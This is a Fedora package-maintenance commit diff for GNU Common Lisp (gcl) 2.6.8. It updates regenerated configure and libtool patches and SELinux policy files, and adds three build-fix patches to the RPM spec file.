@@ -26,7 +26,7 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
  NOTIFY
  TCL_LIBS
  TCL_DL_LIBS
-@@ -13928,10 +13929,12 @@
+@@ -14045,10 +14046,12 @@
  
  # alloca
  
@@ -43,7 +43,7 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
  else
    cat >conftest.$ac_ext <<_ACEOF
  /* confdefs.h.  */
-@@ -13939,16 +13942,17 @@
+@@ -14056,16 +14059,17 @@
  cat confdefs.h >>conftest.$ac_ext
  cat >>conftest.$ac_ext <<_ACEOF
  /* end confdefs.h.  */
@@ -64,7 +64,7 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
  if { (ac_try="$ac_link"
  case "(($ac_try" in
    *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
-@@ -13956,44 +13960,141 @@
+@@ -14073,44 +14077,141 @@
  esac
  eval ac_try_echo="\"\$as_me:$LINENO: $ac_try_echo\""
  $as_echo "$ac_try_echo") >&5
@@ -223,7 +223,7 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
  else
    cat >conftest.$ac_ext <<_ACEOF
  /* confdefs.h.  */
-@@ -14001,17 +14102,163 @@
+@@ -14118,17 +14219,163 @@
  cat confdefs.h >>conftest.$ac_ext
  cat >>conftest.$ac_ext <<_ACEOF
  /* end confdefs.h.  */
@@ -389,7 +389,7 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
  rm -f conftest$ac_exeext
  if { (ac_try="$ac_link"
  case "(($ac_try" in
-@@ -14034,43 +14281,30 @@
+@@ -14151,43 +14398,30 @@
    ac_status=$?
    $as_echo "$as_me:$LINENO: \$? = $ac_status" >&5
    (exit $ac_status); }; }; then
@@ -442,8 +442,8 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
  
  # dlopen etc
 diff -dur gcl-2.6.8.ORIG/configure.in gcl-2.6.8/configure.in
---- gcl-2.6.8.ORIG/configure.in	2009-04-27 09:45:41.000000000 -0600
-+++ gcl-2.6.8/configure.in	2009-04-27 09:46:14.000000000 -0600
+--- gcl-2.6.8.ORIG/configure.in	2009-08-11 10:55:12.621467749 -0600
++++ gcl-2.6.8/configure.in	2009-08-11 10:55:32.543471585 -0600
 @@ -1869,33 +1869,7 @@
  
  # alloca
@@ -480,8 +480,8 @@ diff -dur gcl-2.6.8.ORIG/configure.in gc
  # dlopen etc
  # idea make it so you do something dlopen(libX.so,RTLD_GLOBAL)
 diff -dur gcl-2.6.8.ORIG/h/gclincl.h.in gcl-2.6.8/h/gclincl.h.in
---- gcl-2.6.8.ORIG/h/gclincl.h.in	2009-04-27 09:45:41.000000000 -0600
-+++ gcl-2.6.8/h/gclincl.h.in	2009-04-27 09:46:14.000000000 -0600
+--- gcl-2.6.8.ORIG/h/gclincl.h.in	2009-08-11 10:55:12.622464351 -0600
++++ gcl-2.6.8/h/gclincl.h.in	2009-08-11 10:55:32.545474389 -0600
 @@ -54,11 +54,10 @@
  #undef HAVE_ALLOCA 
  #endif
@@ -518,7 +518,7 @@ diff -dur gcl-2.6.8.ORIG/h/gclincl.h.in 
  /* Define to 1 if you have the <asm/sigcontext.h> header file. */
  #undef HAVE_ASM_SIGCONTEXT_H
  
-@@ -344,6 +358,14 @@
+@@ -347,6 +361,14 @@
  /* The size of `long', as computed by sizeof. */
  #undef SIZEOF_LONG
  

gcl-2.6.8-extension.patch:
 acconfig.h     |    5 
 configure      | 1743 ++++++++++++++++++++++++++++++++++++++++++++++++---------
 configure.in   |    3 
 h/gclincl.h.in |   37 +
 4 files changed, 1518 insertions(+), 270 deletions(-)

Index: gcl-2.6.8-extension.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-11/gcl-2.6.8-extension.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gcl-2.6.8-extension.patch	27 Apr 2009 16:17:13 -0000	1.2
+++ gcl-2.6.8-extension.patch	13 Oct 2009 15:37:48 -0000	1.3
@@ -1,6 +1,6 @@
 diff -dur gcl-2.6.8.ORIG/acconfig.h gcl-2.6.8/acconfig.h
---- gcl-2.6.8.ORIG/acconfig.h	2009-04-27 09:49:00.000000000 -0600
-+++ gcl-2.6.8/acconfig.h	2009-04-27 09:49:25.000000000 -0600
+--- gcl-2.6.8.ORIG/acconfig.h	2009-08-11 10:56:39.718557844 -0600
++++ gcl-2.6.8/acconfig.h	2009-08-11 10:56:49.066471771 -0600
 @@ -1,3 +1,6 @@
 +/* Whether compiling on a glibc-based system */
 +#undef _GNU_SOURCE
@@ -25,8 +25,8 @@ diff -dur gcl-2.6.8.ORIG/acconfig.h gcl-
  #define ISFINITE(a) isfinite(a)
  #else
 diff -dur gcl-2.6.8.ORIG/configure gcl-2.6.8/configure
---- gcl-2.6.8.ORIG/configure	2009-04-27 09:49:00.000000000 -0600
-+++ gcl-2.6.8/configure	2009-04-27 09:49:53.000000000 -0600
+--- gcl-2.6.8.ORIG/configure	2009-08-11 10:56:39.730500620 -0600
++++ gcl-2.6.8/configure	2009-08-11 10:56:49.084463683 -0600
 @@ -691,9 +691,9 @@
  GMPDIR
  GMP
@@ -1822,8 +1822,8 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
  
  int
 diff -dur gcl-2.6.8.ORIG/configure.in gcl-2.6.8/configure.in
---- gcl-2.6.8.ORIG/configure.in	2009-04-27 09:49:00.000000000 -0600
-+++ gcl-2.6.8/configure.in	2009-04-27 09:49:25.000000000 -0600
+--- gcl-2.6.8.ORIG/configure.in	2009-08-11 10:56:39.736470510 -0600
++++ gcl-2.6.8/configure.in	2009-08-11 10:56:49.107463193 -0600
 @@ -442,6 +442,7 @@
  	LDFLAGS=" "
  fi
@@ -1849,8 +1849,8 @@ diff -dur gcl-2.6.8.ORIG/configure.in gc
  		]],[[
  		float f;
 diff -dur gcl-2.6.8.ORIG/h/gclincl.h.in gcl-2.6.8/h/gclincl.h.in
---- gcl-2.6.8.ORIG/h/gclincl.h.in	2009-04-27 09:49:00.000000000 -0600
-+++ gcl-2.6.8/h/gclincl.h.in	2009-04-27 09:49:25.000000000 -0600
+--- gcl-2.6.8.ORIG/h/gclincl.h.in	2009-08-11 10:56:39.738473077 -0600
++++ gcl-2.6.8/h/gclincl.h.in	2009-08-11 10:56:49.109472547 -0600
 @@ -1,4 +1,7 @@
  /* h/gclincl.h.in.  Generated from configure.in by autoheader.  */
 +/* Whether compiling on a glibc-based system */
@@ -1875,7 +1875,7 @@ diff -dur gcl-2.6.8.ORIG/h/gclincl.h.in 
  #include <math.h>
  #define ISFINITE(a) isfinite(a)
  #else
-@@ -369,5 +370,37 @@
+@@ -372,5 +373,37 @@
  /* Define to 1 if you have the ANSI C header files. */
  #undef STDC_HEADERS
  

gcl-2.6.8-infrastructure.patch:
 config.guess     |  666 +-
 config.sub       |  227 
 configure        |16257 +++++++++++++++++++++++++++++++++++++++++--------------
 configure.in     |  551 +
 h/gclincl.h.in   |  163 
 info/texinfo.tex | 9419 +++++++++++++++++++++----------
 install.sh       |  634 +-
 ltmain.sh        | 9124 ++++++++++++++++++++----------
 8 files changed, 26158 insertions(+), 10883 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.2 -r 1.3 gcl-2.6.8-infrastructure.patchIndex: gcl-2.6.8-infrastructure.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-11/gcl-2.6.8-infrastructure.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- gcl-2.6.8-infrastructure.patch	27 Apr 2009 16:17:13 -0000	1.2
+++ gcl-2.6.8-infrastructure.patch	13 Oct 2009 15:37:48 -0000	1.3
@@ -1,6 +1,6 @@
-diff -dur gcl-2.6.8.ORIG/config.guess gcl-2.6.8/config.guess
+diff -durN gcl-2.6.8.ORIG/config.guess gcl-2.6.8/config.guess
 --- gcl-2.6.8.ORIG/config.guess	2005-08-11 09:02:25.000000000 -0600
-+++ gcl-2.6.8/config.guess	2009-04-27 09:34:38.000000000 -0600
++++ gcl-2.6.8/config.guess	2009-08-11 10:39:53.975471624 -0600
 @@ -1,9 +1,10 @@
  #! /bin/sh
  # Attempt to guess a canonical system name.
@@ -1356,9 +1356,9 @@ diff -dur gcl-2.6.8.ORIG/config.guess gc
  
  If the version you run ($0) is already up to date, please
  send the following data and any information you think might be
-diff -dur gcl-2.6.8.ORIG/config.sub gcl-2.6.8/config.sub
+diff -durN gcl-2.6.8.ORIG/config.sub gcl-2.6.8/config.sub
 --- gcl-2.6.8.ORIG/config.sub	2005-08-11 09:02:25.000000000 -0600
-+++ gcl-2.6.8/config.sub	2009-04-27 09:34:58.000000000 -0600
++++ gcl-2.6.8/config.sub	2009-08-11 10:39:54.032472302 -0600
 @@ -1,9 +1,10 @@
  #! /bin/sh
  # Configuration validation subroutine script.
@@ -1926,9 +1926,9 @@ diff -dur gcl-2.6.8.ORIG/config.sub gcl-
  
  # Local variables:
  # eval: (add-hook 'write-file-hooks 'time-stamp)
-diff -dur gcl-2.6.8.ORIG/configure gcl-2.6.8/configure
+diff -durN gcl-2.6.8.ORIG/configure gcl-2.6.8/configure
 --- gcl-2.6.8.ORIG/configure	2009-02-23 20:12:22.000000000 -0700
-+++ gcl-2.6.8/configure	2009-04-27 09:42:42.000000000 -0600
++++ gcl-2.6.8/configure	2009-08-11 10:44:39.723496642 -0600
 @@ -1,97 +1,809 @@
  #! /bin/sh
 -
@@ -3372,12 +3372,12 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +  esac
  fi
 -exec 5>./config.log
- 
+-
 -echo "\
 -This file contains any messages produced by compilers while
 -running configure, to aid debugging if configure makes a mistake.
 -" 1>&5
--
+ 
 -# Strip out --no-create and --no-recursion so they do not pile up.
 -# Also quote any args containing shell metacharacters.
 -ac_configure_args=
@@ -5697,9 +5697,7 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +  va_end (v);
 +  return s;
 +}
- 
--echo $ac_n "checking how to run the C preprocessor""... $ac_c" 1>&6
--echo "configure:1432: checking how to run the C preprocessor" >&5
++
 +/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default.  It has
 +   function prototypes and stuff, but not '\xHH' hex character constants.
 +   These don't provoke an error unfortunately, instead are silently treated
@@ -5757,7 +5755,9 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +
 +
 +fi
-+
+ 
+-echo $ac_n "checking how to run the C preprocessor""... $ac_c" 1>&6
+-echo "configure:1432: checking how to run the C preprocessor" >&5
 +rm -f core conftest.err conftest.$ac_objext
 +  test "x$ac_cv_prog_cc_c89" != "xno" && break
 +done
@@ -6265,7 +6265,10 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +  done
 +  rm -f conftest.in conftest.tmp conftest.nl conftest.out;;
 +esac
-+
+ 
+-# Step 1: set the variable "system" to hold the name and version number
+-# for the system.  This can usually be done via the "uname" command, but
+-# there are a few systems, like Next, where this doesn't work.
 +      $ac_path_GREP_found && break 3
 +    done
 +  done
@@ -6284,14 +6287,8 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +{ $as_echo "$as_me:$LINENO: result: $ac_cv_path_GREP" >&5
 +$as_echo "$ac_cv_path_GREP" >&6; }
 + GREP="$ac_cv_path_GREP"
- 
--# Step 1: set the variable "system" to hold the name and version number
--# for the system.  This can usually be done via the "uname" command, but
--# there are a few systems, like Next, where this doesn't work.
- 
--echo $ac_n "checking system version (for dynamic loading)""... $ac_c" 1>&6
--echo "configure:1689: checking system version (for dynamic loading)" >&5
--if machine=`uname -m` ; then true; else machine=unknown ; fi
++
++
 +{ $as_echo "$as_me:$LINENO: checking for egrep" >&5
 +$as_echo_n "checking for egrep... " >&6; }
 +if test "${ac_cv_path_EGREP+set}" = set; then
@@ -6359,7 +6356,10 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +{ $as_echo "$as_me:$LINENO: result: $ac_cv_path_EGREP" >&5
 +$as_echo "$ac_cv_path_EGREP" >&6; }
 + EGREP="$ac_cv_path_EGREP"
-+
+ 
+-echo $ac_n "checking system version (for dynamic loading)""... $ac_c" 1>&6
+-echo "configure:1689: checking system version (for dynamic loading)" >&5
+-if machine=`uname -m` ; then true; else machine=unknown ; fi
  
  for ac_prog in makeinfo
  do
@@ -8255,12 +8255,12 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +/usr/include/X11R6
 +/usr/include/X11R5
 +/usr/include/X11R4
-+
+ 
 +/usr/local/X11/include
 +/usr/local/X11R6/include
 +/usr/local/X11R5/include
 +/usr/local/X11R4/include
- 
++
 +/usr/local/include/X11
 +/usr/local/include/X11R6
 +/usr/local/include/X11R5
@@ -9282,8 +9282,8 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +sed 's/^/| /' conftest.$ac_ext >&5
 +
 +	ac_cv_lib_bsd_gethostbyname=no
- fi
- 
++fi
++
 +rm -rf conftest.dSYM
 +rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \
 +      conftest$ac_exeext conftest.$ac_ext
@@ -9293,8 +9293,8 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +$as_echo "$ac_cv_lib_bsd_gethostbyname" >&6; }
 +if test "x$ac_cv_lib_bsd_gethostbyname" = x""yes; then
 +  X_EXTRA_LIBS="$X_EXTRA_LIBS -lbsd"
-+fi
-+
+ fi
+ 
 +      fi
      fi
  
@@ -9348,9 +9348,9 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +#else
 +# include <assert.h>
 +#endif
- 
-+#undef connect
 +
++#undef connect
+ 
 +/* Override any GCC internal prototype to avoid an error.
 +   Use char because int might match the return type of a GCC
 +   builtin and then its argument prototype would still apply.  */
@@ -13338,9 +13338,9 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +#else
 +# include <assert.h>
 +#endif
- 
-+#undef uname
 +
++#undef uname
+ 
 +/* Override any GCC internal prototype to avoid an error.
 +   Use char because int might match the return type of a GCC
 +   builtin and then its argument prototype would still apply.  */
@@ -13465,9 +13465,9 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
 +#else
 +# include <assert.h>
 +#endif
-+
-+#undef gettimeofday
  
++#undef gettimeofday
++
 +/* Override any GCC internal prototype to avoid an error.
 +   Use char because int might match the return type of a GCC
 +   builtin and then its argument prototype would still apply.  */
@@ -13894,7 +13894,7 @@ diff -dur gcl-2.6.8.ORIG/configure gcl-2
  else
 -  echo "$ac_t""no" 1>&6
 +  eval "$as_ac_Header=\$ac_header_preproc"
- fi
++fi
 +ac_res=`eval 'as_val=${'$as_ac_Header'}
 +		 $as_echo "$as_val"'`
[...17880 lines suppressed...]
+-COMPILE-COMMAND is a command to be used in creating a \`standard' object file
+-from the given SOURCEFILE.
+-
+-The output file name is determined by removing the directory component from
+-SOURCEFILE, then substituting the C source code suffix \`.c' with the
+-library object suffix, \`.lo'."
+-  ;;
+-
+-execute)
+-  $echo \
+-"Usage: $modename [OPTION]... --mode=execute COMMAND [ARGS]...
+-
+-Automatically set library path, then run a program.
+-
+-This mode accepts the following additional options:
+-
+-  -dlopen FILE      add the directory containing FILE to the library path
+-
+-This mode sets the library path environment variable according to \`-dlopen'
+-flags.
+-
+-If any of the ARGS are libtool executable wrappers, then they are translated
+-into their corresponding uninstalled binary, and any of their required library
+-directories are added to the library path.
+-
+-Then, COMMAND is executed, with ARGS as arguments."
+-  ;;
+-
+-finish)
+-  $echo \
+-"Usage: $modename [OPTION]... --mode=finish [LIBDIR]...
+-
+-Complete the installation of libtool libraries.
+-
+-Each LIBDIR is a directory that contains libtool libraries.
+-
+-The commands that this mode executes may require superuser privileges.  Use
+-the \`--dry-run' option if you just want to see what would be executed."
+-  ;;
+-
+-install)
+-  $echo \
+-"Usage: $modename [OPTION]... --mode=install INSTALL-COMMAND...
+-
+-Install executables or libraries.
+-
+-INSTALL-COMMAND is the installation command.  The first component should be
+-either the \`install' or \`cp' program.
+-
+-The rest of the components are interpreted as arguments to that command (only
+-BSD-compatible install options are recognized)."
+-  ;;
+-
+-link)
+-  $echo \
+-"Usage: $modename [OPTION]... --mode=link LINK-COMMAND...
+-
+-Link object files or libraries together to form another library, or to
+-create an executable program.
+-
+-LINK-COMMAND is a command using the C compiler that you would use to create
+-a program from several object files.
+-
+-The following components of LINK-COMMAND are treated specially:
+-
+-  -all-static       do not do any dynamic linking at all
+-  -avoid-version    do not add a version suffix if possible
+-  -dlopen FILE      \`-dlpreopen' FILE if it cannot be dlopened at runtime
+-  -dlpreopen FILE   link in FILE and add its symbols to lt_preloaded_symbols
+-  -export-dynamic   allow symbols from OUTPUT-FILE to be resolved with dlsym(3)
+-  -export-symbols SYMFILE
 -		    try to export only the symbols listed in SYMFILE
-+                    try to export only the symbols listed in SYMFILE
-   -export-symbols-regex REGEX
+-  -export-symbols-regex REGEX
 -		    try to export only the symbols matching REGEX
-+                    try to export only the symbols matching REGEX
-   -LLIBDIR          search LIBDIR for required installed libraries
-   -lNAME            OUTPUT-FILE requires the installed library libNAME
-   -module           build a library that can dlopened
-@@ -5400,12 +6877,16 @@
-   -no-undefined     declare that a library does not refer to external symbols
-   -o OUTPUT-FILE    create OUTPUT-FILE from the specified objects
-   -objectlist FILE  Use a list of object files found in FILE to specify objects
-+  -precious-files-regex REGEX
-+                    don't remove output files matching REGEX
-   -release RELEASE  specify package release information
-   -rpath LIBDIR     the created library will eventually be installed in LIBDIR
-   -R[ ]LIBDIR       add LIBDIR to the runtime path of programs and libraries
+-  -LLIBDIR          search LIBDIR for required installed libraries
+-  -lNAME            OUTPUT-FILE requires the installed library libNAME
+-  -module           build a library that can dlopened
+-  -no-fast-install  disable the fast-install mode
+-  -no-install       link a not-installable executable
+-  -no-undefined     declare that a library does not refer to external symbols
+-  -o OUTPUT-FILE    create OUTPUT-FILE from the specified objects
+-  -objectlist FILE  Use a list of object files found in FILE to specify objects
+-  -release RELEASE  specify package release information
+-  -rpath LIBDIR     the created library will eventually be installed in LIBDIR
+-  -R[ ]LIBDIR       add LIBDIR to the runtime path of programs and libraries
 -  -static           do not do any dynamic linking of libtool libraries
-+  -static           do not do any dynamic linking of uninstalled libtool libraries
-+  -static-libtool-libs
-+                    do not do any dynamic linking of libtool libraries
-   -version-info CURRENT[:REVISION[:AGE]]
+-  -version-info CURRENT[:REVISION[:AGE]]
 -		    specify library version info [each variable defaults to 0]
-+                    specify library version info [each variable defaults to 0]
- 
- All other options (arguments beginning with \`-') are ignored.
- 
-@@ -5441,14 +6922,14 @@
- *)
-   $echo "$modename: invalid operation mode \`$mode'" 1>&2
-   $echo "$help" 1>&2
+-
+-All other options (arguments beginning with \`-') are ignored.
+-
+-Every other argument is treated as a filename.  Files ending in \`.la' are
+-treated as uninstalled libtool libraries, other files are standard or library
+-object files.
+-
+-If the OUTPUT-FILE ends in \`.la', then a libtool library is created,
+-only library objects (\`.lo' files) may be specified, and \`-rpath' is
+-required, except when creating a convenience library.
+-
+-If OUTPUT-FILE ends in \`.a' or \`.lib', then a standard library is created
+-using \`ar' and \`ranlib', or on Windows using \`lib'.
+-
+-If OUTPUT-FILE ends in \`.lo' or \`.${objext}', then a reloadable object file
+-is created, otherwise an executable program is created."
+-  ;;
+-
+-uninstall)
+-  $echo \
+-"Usage: $modename [OPTION]... --mode=uninstall RM [RM-OPTION]... FILE...
+-
+-Remove libraries from an installation directory.
+-
+-RM is the name of the program to use to delete files associated with each FILE
+-(typically \`/bin/rm').  RM-OPTIONS are options (such as \`-f') to be passed
+-to RM.
+-
+-If FILE is a libtool library, all the files associated with it are deleted.
+-Otherwise, only FILE itself is deleted using RM."
+-  ;;
+-
+-*)
+-  $echo "$modename: invalid operation mode \`$mode'" 1>&2
+-  $echo "$help" 1>&2
 -  exit 1
-+  exit $EXIT_FAILURE
-   ;;
- esac
- 
+-  ;;
+-esac
+-
 -echo
-+$echo
- $echo "Try \`$modename --help' for more information about other modes."
+-$echo "Try \`$modename --help' for more information about other modes."
++exit $exit_status
  
 -exit 0
-+exit $?
  
  # The TAGs below are defined such that we never get into a situation
  # in which we disable both kinds of libraries.  Given conflicting
-@@ -5461,14 +6942,13 @@
+@@ -5461,16 +8389,18 @@
  # If a disable-shared tag is given, we'll fallback to a static-only
  # configuration.  But we'll never go from static-only to shared-only.
  
 -### BEGIN LIBTOOL TAG CONFIG: disable-shared
--build_libtool_libs=no
--build_old_libs=yes
--### END LIBTOOL TAG CONFIG: disable-shared
 +# ### BEGIN LIBTOOL TAG CONFIG: disable-shared
-+disable_libs=shared
+ build_libtool_libs=no
+ build_old_libs=yes
+-### END LIBTOOL TAG CONFIG: disable-shared
 +# ### END LIBTOOL TAG CONFIG: disable-shared
  
 -### BEGIN LIBTOOL TAG CONFIG: disable-static
--build_old_libs=`case $build_libtool_libs in yes) echo no;; *) echo yes;; esac`
--### END LIBTOOL TAG CONFIG: disable-static
 +# ### BEGIN LIBTOOL TAG CONFIG: disable-static
-+disable_libs=static
+ build_old_libs=`case $build_libtool_libs in yes) echo no;; *) echo yes;; esac`
+-### END LIBTOOL TAG CONFIG: disable-static
 +# ### END LIBTOOL TAG CONFIG: disable-static
  
  # Local Variables:
  # mode:shell-script
+ # sh-indentation:2
+ # End:
++# vi:sw=2
++

gcl-2.6.8-selinux.patch:
 clcs/makefile     |    6 ++
 makefile          |    3 +
 selinux/gcl.fc    |    5 +
 selinux/gcl.if    |  146 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
 selinux/gcl.te    |   50 ++++++++++++++++++
 unixport/makefile |    6 ++
 6 files changed, 216 insertions(+)

Index: gcl-2.6.8-selinux.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-11/gcl-2.6.8-selinux.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gcl-2.6.8-selinux.patch	10 Jan 2009 05:23:18 -0000	1.1
+++ gcl-2.6.8-selinux.patch	13 Oct 2009 15:37:48 -0000	1.2
@@ -1,6 +1,6 @@
 diff -durN gcl-2.6.8.ORIG/clcs/makefile gcl-2.6.8/clcs/makefile
 --- gcl-2.6.8.ORIG/clcs/makefile	2005-05-06 15:56:55.000000000 -0600
-+++ gcl-2.6.8/clcs/makefile	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/clcs/makefile	2009-10-13 09:12:33.455633583 -0600
 @@ -9,6 +9,9 @@
  
  saved_clcs_gcl: ../unixport/saved_pcl_gcl
@@ -23,7 +23,7 @@ diff -durN gcl-2.6.8.ORIG/clcs/makefile 
  	rm -f *.o *.fn saved_full_gcl$(EXE) saved_full_gcl cmpinclude.h *.c *.h *.data saved_clcs_gcl
 diff -durN gcl-2.6.8.ORIG/makefile gcl-2.6.8/makefile
 --- gcl-2.6.8.ORIG/makefile	2007-11-30 09:59:33.000000000 -0700
-+++ gcl-2.6.8/makefile	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/makefile	2009-10-13 09:12:33.456633051 -0600
 @@ -187,6 +187,9 @@
  	if gcc --version | grep -i mingw >/dev/null 2>&1 ; then if grep -i oncrpc makedefs >/dev/null 2>&1 ; then cp /mingw/bin/oncrpc.dll $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR); fi ; fi
  	cd $(DESTDIR)$(INSTALL_LIB_DIR)/$(PORTDIR) && \
@@ -36,13 +36,16 @@ diff -durN gcl-2.6.8.ORIG/makefile gcl-2
  	if [ -e "unixport/rsym$(EXE)" ] ; then cp unixport/rsym$(EXE) $(DESTDIR)$(INSTALL_LIB_DIR)/unixport/ ; fi
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.fc gcl-2.6.8/selinux/gcl.fc
 --- gcl-2.6.8.ORIG/selinux/gcl.fc	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.fc	2009-01-09 17:43:02.000000000 -0700
-@@ -0,0 +1,2 @@
++++ gcl-2.6.8/selinux/gcl.fc	2009-10-13 09:12:33.462625115 -0600
+@@ -0,0 +1,5 @@
 +/usr/lib64/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
 +/usr/lib/gcl-[^/]+/unixport/saved_.*	--	gen_context(system_u:object_r:gcl_exec_t,s0)
++/usr/lib/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
++/usr/lib64/maxima/[^/]+/binary-gcl	--	gen_context(system_u:object:r:gcl_exec_t,s0)
++
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.if gcl-2.6.8/selinux/gcl.if
 --- gcl-2.6.8.ORIG/selinux/gcl.if	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.if	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/selinux/gcl.if	2009-10-13 09:12:33.463716289 -0600
 @@ -0,0 +1,146 @@
 +
 +## <summary>policy for gcl</summary>
@@ -192,7 +195,7 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.if
 +')
 diff -durN gcl-2.6.8.ORIG/selinux/gcl.te gcl-2.6.8/selinux/gcl.te
 --- gcl-2.6.8.ORIG/selinux/gcl.te	1969-12-31 17:00:00.000000000 -0700
-+++ gcl-2.6.8/selinux/gcl.te	2009-01-09 17:43:07.000000000 -0700
++++ gcl-2.6.8/selinux/gcl.te	2009-10-13 09:14:37.562683865 -0600
 @@ -0,0 +1,50 @@
 +policy_module(gcl,1.0.0)
 +
@@ -246,7 +249,7 @@ diff -durN gcl-2.6.8.ORIG/selinux/gcl.te
 +')
 diff -durN gcl-2.6.8.ORIG/unixport/makefile gcl-2.6.8/unixport/makefile
 --- gcl-2.6.8.ORIG/unixport/makefile	2006-08-23 12:14:22.000000000 -0600
-+++ gcl-2.6.8/unixport/makefile	2009-01-09 17:43:02.000000000 -0700
++++ gcl-2.6.8/unixport/makefile	2009-10-13 09:12:33.465652023 -0600
 @@ -118,6 +118,9 @@
  	cp init_$*.lsp foo
  	echo " (in-package \"USER\")(system:save-system \"$@\")" >>foo


Index: gcl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcl/F-11/gcl.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- gcl.spec	27 Apr 2009 16:17:13 -0000	1.36
+++ gcl.spec	13 Oct 2009 15:37:48 -0000	1.37
@@ -1,29 +1,29 @@
 # -fstack-protector leads to segfaults because GCL uses its own conflicting
 # stack protection scheme.
-%define __global_cflags -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2
+%global __global_cflags %(printf %%s '%__global_cflags' | sed 's/ -fstack-protector --param=ssp-buffer-size=4//')
 
 # Prerelease of 2.6.8
-%define alphatag 20090303cvs
+%global alphatag 20090701cvs
 
 # If the emacs-el package has installed a pkgconfig file, use that to determine
 # install locations and Emacs version at build time, otherwise set defaults.
 %if %($(pkg-config emacs) ; echo $?)
-%define emacs_version 22.2
-%define emacs_lispdir %{_datadir}/emacs/site-lisp
+%global emacs_version 22.2
+%global emacs_lispdir %{_datadir}/emacs/site-lisp
 %else
-%define emacs_version %(pkg-config emacs --modversion)
-%define emacs_lispdir %(pkg-config emacs --variable sitepkglispdir)
+%global emacs_version %(pkg-config emacs --modversion)
+%global emacs_lispdir %(pkg-config emacs --variable sitepkglispdir)
 %endif
 
 # If the xemacs-devel package has installed a pkgconfig file, use that to
 # determine install locations and Emacs version at build time, otherwise set
 # defaults.
 %if %($(pkg-config xemacs) ; echo $?)
-%define xemacs_version 21.5
-%define xemacs_lispdir %{_datadir}/xemacs/site-packages/lisp
+%global xemacs_version 21.5
+%global xemacs_lispdir %{_datadir}/xemacs/site-packages/lisp
 %else
-%define xemacs_version %(pkg-config xemacs --modversion)
-%define xemacs_lispdir %(pkg-config xemacs --variable sitepkglispdir)
+%global xemacs_version %(pkg-config xemacs --modversion)
+%global xemacs_lispdir %(pkg-config xemacs --variable sitepkglispdir)
 %endif
 
 Name:           gcl
@@ -37,7 +37,7 @@ URL:            http://www.gnu.org/softw
 # The source for this package was pulled from upstream's CVS repository.  Use
 # the following commands to generate the tarball:
 #   cvs -d:pserver:anonymous at cvs.savannah.gnu.org:/sources/gcl export \
-#     -r Version_2_6_8pre -D 2009-03-04 -d gcl-2.6.8 gcl
+#     -r Version_2_6_8pre -D 2009-07-02 -d gcl-2.6.8 gcl
 #   tar -cjvf gcl-2.6.8.tar.bz2 gcl-2.6.8
 Source0:        gcl-%{version}.tar.bz2
 Source1:        gcl.el
@@ -96,6 +96,17 @@ Patch12:        gcl-2.6.8-unrandomize.pa
 # This is a Fedora-specific patch.  Do not delete C files produced from D files
 # so they can be pulled into the debuginfo package.
 Patch13:        gcl-2.6.8-debuginfo.patch
+# The need for this patch was last communicated to upstream on 21 May 2009.
+# Without this patch, compilation fails due to conflicting type definitions
+# between glibc and Linux kernel headers.  This patch prevents the kernel
+# headers from being used.
+Patch14:        gcl-2.6.8-asm-signal-h.patch
+# This patch was last sent upstream on 13 Oct 2009.  It fixes two bugs in the
+# reading of PLT information.
+Patch15:        gcl-2.6.8-plt.patch
+# This patch was last sent upstream on 13 Oct 2009.  It fixes several malformed
+# function prototypes involving an ellipsis.
+Patch16:        gcl-2.6.8-ellipsis.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  libSM-devel
 BuildRequires:  libXext-devel
@@ -192,6 +203,9 @@ gcl_exec_t.
 %patch11 -p1
 %patch12 -p1
 %patch13 -p1
+%patch14 -p1
+%patch15 -p1
+%patch16 -p1
 
 # Don't let the configure script add compiler flags we don't want
